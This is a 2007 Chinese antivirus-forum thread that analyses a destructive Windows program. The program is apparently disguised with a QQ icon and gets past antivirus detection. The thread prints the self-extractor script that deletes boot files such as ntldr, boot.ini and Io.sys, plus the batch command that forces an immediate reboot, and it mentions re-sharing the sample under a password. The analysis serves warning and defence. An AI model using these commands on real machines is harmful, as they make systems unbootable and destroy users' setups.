发个病毒向准备英勇就义的卡饭们致敬!

xhtxht

楼上的楼上，我现在也能用微点杀出了，昨天我已经把这个程序发给微点的反病毒程序组了，能查出是他们今天更新的

[ 本帖最后由 xhtxht 于 2007-1-18 20:54 编辑 ]

timefielder

晕，点击下载卡巴就报了，看截图

xhtxht

也许咔吧是今天更新的，可能卡饭们报告的

hzq277284

22楼的恐怕凡是带密码且带有可执行文件的压缩包卡巴全都会这么警告，不见得已经加入病毒库

dikex

纯粹的恶意程序一个！旨在破坏，不会进行传播！

运行后首先在注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 创建 wextract_cleanup0 （由此推出这个东西是用wextract封装），值设为"rundll32.exe C:\WINDOWS\system32\advpack.dll,DelNodeRunDLL32 "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\IXP000.TMP\"

在C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\IXP000.TMP\下面生成r.exe，这是个winrar自解压文件，图标是QQ的小企鹅，脚本为：

1. Path=C:\
   
2. Setup=OK.bat
   
3. Silent=1
   
4. Overwrite=1
   
5. Delete=Autoexec.bat
   
6. Delete=boot.ini
   
7. Delete=bootfont.bin
   
8. Delete=Config.sys
   
9. Delete=Io.sys
   
10. Delete=Msdos.sys
    
11. Delete=Ntdetect.com
    
12. Delete=ntldr

复制代码

也就是把ok.exe解压缩到C盘，然后把C盘根目录的启动文件（Autoexec.bat，boot.ini，bootfont.bin，Config.sys，Io.sys，Msdos.sys，Ntdetect.com，ntldr）全部删除，运行c:\ok.bat，内容为shutdown.exe -r -t 1 ，即立刻重启！

这样就导致了运行后立刻就系统重启，然后显示启动文件丢失
这时我们只要用系统光盘修复一下即可恢复，强烈BS一下弄这样纯粹破坏的恶意程序的人


把r.exe上传上来给大家，直接运行这个和运行原来的文件的效果一样
密码virus

[ 本帖最后由 dikex 于 2007-1-19 13:54 编辑 ]

minamoto

2000虚拟机下运行，没有加入注册表，没有在临时文件夹内生成文件，只删除了c盘下的文件和生成 ok.bat 。因为2000没有shutdown.exe，所以也没有自动重起。

这算不上病毒，只是个恶意的程序而已。

flykiss

微点不提示，电脑一秒后从起，进不了系统，只有用光盘引导进系统~~~

flykiss

dikex (六翼刺猬)   用的什么监控啊？？ 我的什么都没看到就从起了 ~~~~

野马

盖茨 是否又要发布补丁了！

The EQs

原帖由 hzq277284 于 2007-1-19 11:03 发表
22楼的恐怕凡是带密码且带有可执行文件的压缩包卡巴全都会这么警告，不见得已经加入病毒库

正解。。明眼人一看就是密码保护才报的。。。